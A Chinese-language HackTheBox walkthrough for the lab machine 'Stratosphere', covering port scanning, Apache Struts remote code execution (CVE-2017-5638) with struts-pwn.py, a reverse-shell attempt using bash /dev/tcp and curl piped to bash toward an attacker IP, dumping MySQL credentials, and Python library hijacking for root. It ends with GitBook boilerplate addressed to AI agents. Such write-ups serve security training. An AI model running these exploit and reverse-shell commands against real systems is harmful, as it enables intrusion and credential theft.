> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/stratosphere-hackthebox-writeup.md). # Stratosphere HackTheBox 解题记录 {% embed url="" %} {% hint style="warning" %} **技能：** * Apache Struts 利用（CVE-2017-5638） * Python 库劫持（权限提升） {% endhint %} ## 侦察 **工作区设置：** 通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

**VPN 连接检查** 检查 VPN 连接，以确保与目标机器的稳定通信。

**使用 Nmap 发现开放端口：** 枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件： ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.64 -oG allPorts ```

**使用 ExtractPorts 进行开放端口分析（**22.80.8080**)** 使用 extractPorts 函数以简洁格式显示开放端口并将其复制到剪贴板。

**使用 Nmap 进行端口版本扫描：** 使用 Nmap 扫描端口版本并在“targeted”文件中提取信息 ```bash nmap -sCV -p22,80,8080 10.10.10.64 -oN targeted ```

### /*/Web 服务探索（80 和 8080 端口）//* 80 和 8080 端口托管同一个网站。

### 使用……进行模糊测试 **Gobuster** 我们启动 `Gobuster` 以搜索有趣的目录 {% code overflow="wrap" %} ```bash gobuster dir -u http://10.10.10.64/ -b 404,400 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r ``` {% endcode %} 我们发现以下路径： * `/manager` - Tomcat 管理界面 * `/monitoring` - 监控部分

### 管理器 - Tomcat：

### 监控：

## Apache Struts 利用（CVE-2017-5638） #### **监控目录探索** 通过尝试注册，我们得到一条错误消息。我们还观察到一个扩展名 `.action`，这可能表明这是一个基于 Apache Struts 的应用程序

{% embed url="" %} 我们使用 `struts-pwn.py` 以测试远程命令执行： ```bash python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'id' ``` 命令生效，确认存在漏洞。

#### **反向 Shell** 1. 使用 Netcat 监听： ```bash nc -nvlp 443 ``` 2. 创建一个 `index.html` 包含我们反向 shell 的文件： ``` #!/bin/bash bash -i >& /dev/tcp/10.10.14.69/443 0>&1 ``` 3. 使用 Python Web 服务器托管该文件： ``` python3 -m http.server 8080 ``` 4. 通过漏洞利用运行反向 shell： {% code overflow="wrap" %} ```bash python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'curl http://10.10.14.69:8080 | bash' ``` {% endcode %} 遗憾的是，这种方法失败了。 ### **敏感信息提取** 我们列出服务器上的文件：

我们发现一个 `db_connect` 文件。通过查看它，我们获得凭据： {% code overflow="wrap" %} ```bash python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'ls -l' ``` {% endcode %}

从 mysql 凭据中恢复的信息： {% code overflow="wrap" %} ```bash python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'cat db_connect' ``` {% endcode %} * user: ssn/\_admin / admin * pass=AWs64\@on/\*& / admin

### 提取信息 - mysqlshow #### **数据库枚举** 我们使用 `mysqlshow` 以列出该用户可访问的数据库 `admin` 通过利用 Struts 漏洞，借助 `struts-pwn.py`: {% code overflow="wrap" %} ```bash python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c "mysqlshow -u admin -padmin" ``` {% endcode %}

这使我们能够识别该数据库 **users**. #### **表概览** 然后我们列出该数据库中的表 **users**: {% code overflow="wrap" %} ```bash python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c "mysqlshow -u admin -padmin users ``` {% endcode %}

#### **列枚举和凭据提取** 现在我们列出该表的列 **accounts** 并尝试提取其内容 {% code overflow="wrap" %} ```bash python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c "mysqlshow -u admin -padmin users accounts" ``` {% endcode %}

我们获得以下信息： * **用户名**: `richard` * **密码**: `9tc*rhKuG5TyXvUJOrE^5CK7k` {% code overflow="wrap" %} ```bash python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c 'mysql -u admin -padmin -e "Select * from accounts" users' ``` {% endcode %}

我们使用找到的信息连接到目标机器的 SSH： ```bash ssh richard@10.10.10.64 ```

### user.txt 标志 :)

## 权限提升 ### Python 库劫持权限提升首先，你运行以下命令以列出 `sudo` 权限：

我们注意到我们有权限以 `root`: ```bash (ALL) NOPASSWD: /usr/bin/python3.7 /home/richard/test.py ```

通过分析 `/home/richard/test.py` 脚本，可以观察到它导入了一个模块，但没有指定其绝对路径，例如： ``` import os os.system("bash") ``` 然后我们以 `root`: ```bash sudo /usr/bin/python3.7 /home/richard/test.py ``` * 一旦脚本启动，我们的恶意版本的 `hashlib.py` 被加载，运行一个具有 `root` 权限的 shell。

### root.txt flag :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/stratosphere-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.